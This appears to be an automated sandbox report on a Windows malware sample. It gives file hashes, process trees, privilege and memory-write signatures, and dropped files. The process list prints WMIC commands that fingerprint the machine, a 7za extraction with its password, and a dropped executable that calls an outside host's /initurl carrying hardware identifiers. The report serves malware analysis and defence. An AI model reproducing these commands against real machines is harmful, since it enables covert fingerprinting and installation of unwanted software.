Analysis
- max time kernel
142s - max time network
152s - platform
windows10-2004_x64 - resource
win10v2004-20240226-en - resource tags
arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system - submitted
07/05/2024, 12:10
Static task
static1
2 signatures
Behavioral task
behavioral1
Sample
2085b980c2b3b9a8b5f5721f769f90e4_JaffaCakes118.exe
Resource
win7-20240215-en
windows7-x64
6 signatures
150 seconds
Behavioral task
behavioral2
Sample
2085b980c2b3b9a8b5f5721f769f90e4_JaffaCakes118.exe
Resource
win10v2004-20240226-en
windows10-2004-x64
6 signatures
150 seconds
Behavioral task
behavioral3
Sample
$PLUGINSDIR/7za.exe
Resource
win7-20240221-en
windows7-x64
0 signatures
150 seconds
Behavioral task
behavioral4
Sample
$PLUGINSDIR/7za.exe
Resource
win10v2004-20240419-en
windows10-2004-x64
0 signatures
150 seconds
Behavioral task
behavioral5
Sample
$PLUGINSDIR/nsExec.dll
Resource
win7-20240221-en
windows7-x64
2 signatures
150 seconds
Behavioral task
behavioral6
Sample
$PLUGINSDIR/nsExec.dll
Resource
win10v2004-20240226-en
windows10-2004-x64
2 signatures
150 seconds
General
- Target 2085b980c2b3b9a8b5f5721f769f90e4_JaffaCakes118.exe
- Size 407KB
- Sample240507-pb5vxafb5y
- SHA256 9f128eaead477b66578a3a66519f60c38e8706f0b3dec5064b12896fd072cf1b
- MD5 2085b980c2b3b9a8b5f5721f769f90e4
- SHA1 f15a024c7a751a0d4ec717a6cc1105475921e139
- SHA512 8ad7b446f8496bc4f6241728eac0fc8300520d7592d5d78304f413e7b5b0a55255045cb98fdab2c6d46a231d70a3c4a715ce9544327315e2aea3cfc01e02ce6e
- SSDEEP 6144:0A0m350GlkQKU90iXsy0LeZAeCyO+5jXdYwDF+uF9zKew5eA9Rq+I2CuhMdU5pm:0A0i50GjN9AywPD3aPXKaKRJLCnUS
- MD5 SHA1 SHA512 SSDEEP
Score
7/10
Malware Config
Signatures
- Executes dropped EXE 2 IoCs
pid Process 3740 7za.exe 4648 setupcl.exe - Loads dropped DLL 5 IoCs
pid Process 3472 2085b980c2b3b9a8b5f5721f769f90e4_JaffaCakes118.exe 3472 2085b980c2b3b9a8b5f5721f769f90e4_JaffaCakes118.exe 3472 2085b980c2b3b9a8b5f5721f769f90e4_JaffaCakes118.exe 3472 2085b980c2b3b9a8b5f5721f769f90e4_JaffaCakes118.exe 3472 2085b980c2b3b9a8b5f5721f769f90e4_JaffaCakes118.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeIncreaseQuotaPrivilege 3272 WMIC.exe Token: SeSecurityPrivilege 3272 WMIC.exe Token: SeTakeOwnershipPrivilege 3272 WMIC.exe Token: SeLoadDriverPrivilege 3272 WMIC.exe Token: SeSystemProfilePrivilege 3272 WMIC.exe Token: SeSystemtimePrivilege 3272 WMIC.exe Token: SeProfSingleProcessPrivilege 3272 WMIC.exe Token: SeIncBasePriorityPrivilege 3272 WMIC.exe Token: SeCreatePagefilePrivilege 3272 WMIC.exe Token: SeBackupPrivilege 3272 WMIC.exe Token: SeRestorePrivilege 3272 WMIC.exe Token: SeShutdownPrivilege 3272 WMIC.exe Token: SeDebugPrivilege 3272 WMIC.exe Token: SeSystemEnvironmentPrivilege 3272 WMIC.exe Token: SeRemoteShutdownPrivilege 3272 WMIC.exe Token: SeUndockPrivilege 3272 WMIC.exe Token: SeManageVolumePrivilege 3272 WMIC.exe Token: 33 3272 WMIC.exe Token: 34 3272 WMIC.exe Token: 35 3272 WMIC.exe Token: 36 3272 WMIC.exe Token: SeIncreaseQuotaPrivilege 3272 WMIC.exe Token: SeSecurityPrivilege 3272 WMIC.exe Token: SeTakeOwnershipPrivilege 3272 WMIC.exe Token: SeLoadDriverPrivilege 3272 WMIC.exe Token: SeSystemProfilePrivilege 3272 WMIC.exe Token: SeSystemtimePrivilege 3272 WMIC.exe Token: SeProfSingleProcessPrivilege 3272 WMIC.exe Token: SeIncBasePriorityPrivilege 3272 WMIC.exe Token: SeCreatePagefilePrivilege 3272 WMIC.exe Token: SeBackupPrivilege 3272 WMIC.exe Token: SeRestorePrivilege 3272 WMIC.exe Token: SeShutdownPrivilege 3272 WMIC.exe Token: SeDebugPrivilege 3272 WMIC.exe Token: SeSystemEnvironmentPrivilege 3272 WMIC.exe Token: SeRemoteShutdownPrivilege 3272 WMIC.exe Token: SeUndockPrivilege 3272 WMIC.exe Token: SeManageVolumePrivilege 3272 WMIC.exe Token: 33 3272 WMIC.exe Token: 34 3272 WMIC.exe Token: 35 3272 WMIC.exe Token: 36 3272 WMIC.exe Token: SeIncreaseQuotaPrivilege 4988 WMIC.exe Token: SeSecurityPrivilege 4988 WMIC.exe Token: SeTakeOwnershipPrivilege 4988 WMIC.exe Token: SeLoadDriverPrivilege 4988 WMIC.exe Token: SeSystemProfilePrivilege 4988 WMIC.exe Token: SeSystemtimePrivilege 4988 WMIC.exe Token: SeProfSingleProcessPrivilege 4988 WMIC.exe Token: SeIncBasePriorityPrivilege 4988 WMIC.exe Token: SeCreatePagefilePrivilege 4988 WMIC.exe Token: SeBackupPrivilege 4988 WMIC.exe Token: SeRestorePrivilege 4988 WMIC.exe Token: SeShutdownPrivilege 4988 WMIC.exe Token: SeDebugPrivilege 4988 WMIC.exe Token: SeSystemEnvironmentPrivilege 4988 WMIC.exe Token: SeRemoteShutdownPrivilege 4988 WMIC.exe Token: SeUndockPrivilege 4988 WMIC.exe Token: SeManageVolumePrivilege 4988 WMIC.exe Token: 33 4988 WMIC.exe Token: 34 4988 WMIC.exe Token: 35 4988 WMIC.exe Token: 36 4988 WMIC.exe Token: SeIncreaseQuotaPrivilege 4988 WMIC.exe - Suspicious use of SetWindowsHookEx 2 IoCs
pid Process 4648 setupcl.exe 4648 setupcl.exe - Suspicious use of WriteProcessMemory 21 IoCs
description pid Process procid_target PID 3472 wrote to memory of 3272 3472 2085b980c2b3b9a8b5f5721f769f90e4_JaffaCakes118.exe 91 PID 3472 wrote to memory of 3272 3472 2085b980c2b3b9a8b5f5721f769f90e4_JaffaCakes118.exe 91 PID 3472 wrote to memory of 3272 3472 2085b980c2b3b9a8b5f5721f769f90e4_JaffaCakes118.exe 91 PID 3472 wrote to memory of 4988 3472 2085b980c2b3b9a8b5f5721f769f90e4_JaffaCakes118.exe 94 PID 3472 wrote to memory of 4988 3472 2085b980c2b3b9a8b5f5721f769f90e4_JaffaCakes118.exe 94 PID 3472 wrote to memory of 4988 3472 2085b980c2b3b9a8b5f5721f769f90e4_JaffaCakes118.exe 94 PID 3472 wrote to memory of 1492 3472 2085b980c2b3b9a8b5f5721f769f90e4_JaffaCakes118.exe 96 PID 3472 wrote to memory of 1492 3472 2085b980c2b3b9a8b5f5721f769f90e4_JaffaCakes118.exe 96 PID 3472 wrote to memory of 1492 3472 2085b980c2b3b9a8b5f5721f769f90e4_JaffaCakes118.exe 96 PID 3472 wrote to memory of 1916 3472 2085b980c2b3b9a8b5f5721f769f90e4_JaffaCakes118.exe 98 PID 3472 wrote to memory of 1916 3472 2085b980c2b3b9a8b5f5721f769f90e4_JaffaCakes118.exe 98 PID 3472 wrote to memory of 1916 3472 2085b980c2b3b9a8b5f5721f769f90e4_JaffaCakes118.exe 98 PID 3472 wrote to memory of 3740 3472 2085b980c2b3b9a8b5f5721f769f90e4_JaffaCakes118.exe 100 PID 3472 wrote to memory of 3740 3472 2085b980c2b3b9a8b5f5721f769f90e4_JaffaCakes118.exe 100 PID 3472 wrote to memory of 3740 3472 2085b980c2b3b9a8b5f5721f769f90e4_JaffaCakes118.exe 100 PID 3472 wrote to memory of 4648 3472 2085b980c2b3b9a8b5f5721f769f90e4_JaffaCakes118.exe 102 PID 3472 wrote to memory of 4648 3472 2085b980c2b3b9a8b5f5721f769f90e4_JaffaCakes118.exe 102 PID 3472 wrote to memory of 4648 3472 2085b980c2b3b9a8b5f5721f769f90e4_JaffaCakes118.exe 102 PID 4648 wrote to memory of 3336 4648 setupcl.exe 103 PID 4648 wrote to memory of 3336 4648 setupcl.exe 103 PID 4648 wrote to memory of 3336 4648 setupcl.exe 103
Processes
-
C:\Users\Admin\AppData\Local\Temp\2085b980c2b3b9a8b5f5721f769f90e4_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\2085b980c2b3b9a8b5f5721f769f90e4_JaffaCakes118.exe"1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:3472 -
C:\Windows\SysWOW64\Wbem\WMIC.exeWMIC csproduct Get UUID /FORMAT:textvaluelist.xsl2⤵
- Suspicious use of AdjustPrivilegeToken
PID:3272
-
-
C:\Windows\SysWOW64\Wbem\WMIC.exeWMIC bios Get SerialNumber /FORMAT:textvaluelist.xsl2⤵
- Suspicious use of AdjustPrivilegeToken
PID:4988
-
-
C:\Windows\SysWOW64\Wbem\WMIC.exeWMIC bios Get Version /FORMAT:textvaluelist.xsl2⤵PID:1492
-
-
C:\Windows\SysWOW64\Wbem\WMIC.exeWMIC csproduct Get Name /FORMAT:textvaluelist.xsl2⤵PID:1916
-
-
C:\Users\Admin\AppData\Local\Temp\nsj1D39.tmp\7za.exe7za.exe e -y -p"3bf2d0feb11c2f9d33d10fa14f3b9b82" [RANDOM_STRING].7z2⤵
- Executes dropped EXE
PID:3740
-
-
C:\Users\Admin\AppData\Local\Temp\nsj1D39.tmp\setupcl.exe"C:\Users\Admin\AppData\Local\Temp\nsj1D39.tmp\setupcl.exe" /initurl http://sub.reichtron.com/init/2085b980c2b3b9a8b5f5721f769f90e4_JaffaCakes118/:uid:? /affid "-" /id "0" /name " " /uniqid 2085b980c2b3b9a8b5f5721f769f90e4_JaffaCakes118 /uuid 00000000-0000-0000-0000-000000000000 /biosserial /biosversion ROCKS - 1 /csname Standard PC (Q35 + ICH9, 2009)2⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4648 -
C:\Windows\SysWOW64\Wbem\wmic.exewmic bios get serialnumber, version3⤵PID:3336
-
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=1416 --field-trial-handle=3240,i,13319578961094268484,16557498665191861597,262144 --variations-seed-version /prefetch:81⤵PID:4988
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Users\Admin\AppData\Local\Temp\nsj1D39.tmp\7za.exe
- Size 574KB
- SHA256 c136b1467d669a725478a6110ebaaab3cb88a3d389dfa688e06173c066b76fcf
- MD5 42badc1d2f03a8b1e4875740d3d49336
- SHA1 cee178da1fb05f99af7a3547093122893bd1eb46
- SHA512 6bc519a7368ee6bd8c8f69f2d634dd18799b4ca31fbc284d2580ba625f3a88b6a52d2bc17bea0e75e63ca11c10356c47ee00c2c500294abcb5141424fc5dc71c
- SSDEEP 12288:myyKdVnyNhXCV4EkP7AIfzNXZ0b5NrnkcAqIV0A1caRI:mKvyNhXCV4E8BXAfrnkcAqU0A
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\nsj1D39.tmp\[RANDOM_STRING].7z
- Size 80KB
- SHA256 6f6b6da23d5b392411e2a6b6d146082124162f6eef6bd9705aea442c81d4da8a
- MD5 e4f0bb7545439702fa49f1901a817022
- SHA1 fb475b6d623dc814944811e072b0c5c944941bc5
- SHA512 d7f9067b98802e06ed4cdbee765d6eeac78d09cca39fdef39ec5d80ba488091a80926ff68ac62d134ebb876d882ba7da0cc07e7cbd30976fa58e08c232ed572f
- SSDEEP 1536:Jll5lAwXv5zBkSmIujxNDf6CRXuSMr5TAq6TQyBlGe1I02rq:Jll5Bv5zBrzujDL6+uZaPTQuEe1Yq
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\nsj1D39.tmp\nsExec.dll
- Size 8KB
- SHA256 289786fe13801467653eb2712f47f162d6fd3fc2d844be342282f75fc2b2a085
- MD5 b8be6632a7dc8136ff01338be40fe701
- SHA1 043fa16929b2af5ed5c1c59b4035a10cf765fb43
- SHA512 403474154ff8500e5aae2b4466c652e5d066af2c55d8f158e6f007492ceb1f3abcc6cca80842b90900db02db4258ddcda75dec1d1799af24969c35811891e5b8
- SSDEEP 96:ovkNRhdXhG0CzpC6dsiFam4C026ebZT4MJlWD+RfEqL5Q4hTUVKJx3/:9Nnd9Cz86GVSmua+2qL5Q4h4VSp
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\nsj1D39.tmp\setupcl.exe
- Size 193KB
- SHA256 9c620ef6eac3d0d9d3f6f2622a53d1f543cebd93846636ba397683962c07fc7c
- MD5 10bd2af1b07ec6bc9cd17ba512569e59
- SHA1 807e17ab1b98177e135d30941b45081960d1e866
- SHA512 deacd041f12b6ec74f9e4488874ce962037990ed0ae424aaeabf2c35876b2ebbb943f92e9a4ffe504718bb00021209b035439ea4d7c64a4031b86ce9104ce3ed
- SSDEEP 3072:o+4k6oNV1S7imDgXqUVypKcYUdflxQfVOwJkERXBHgpUK+eryMrNgYRGVsSm:B5NnSrg69Qcvt6fkwfXBHUeo5Rr
- MD5 SHA1 SHA512 SSDEEP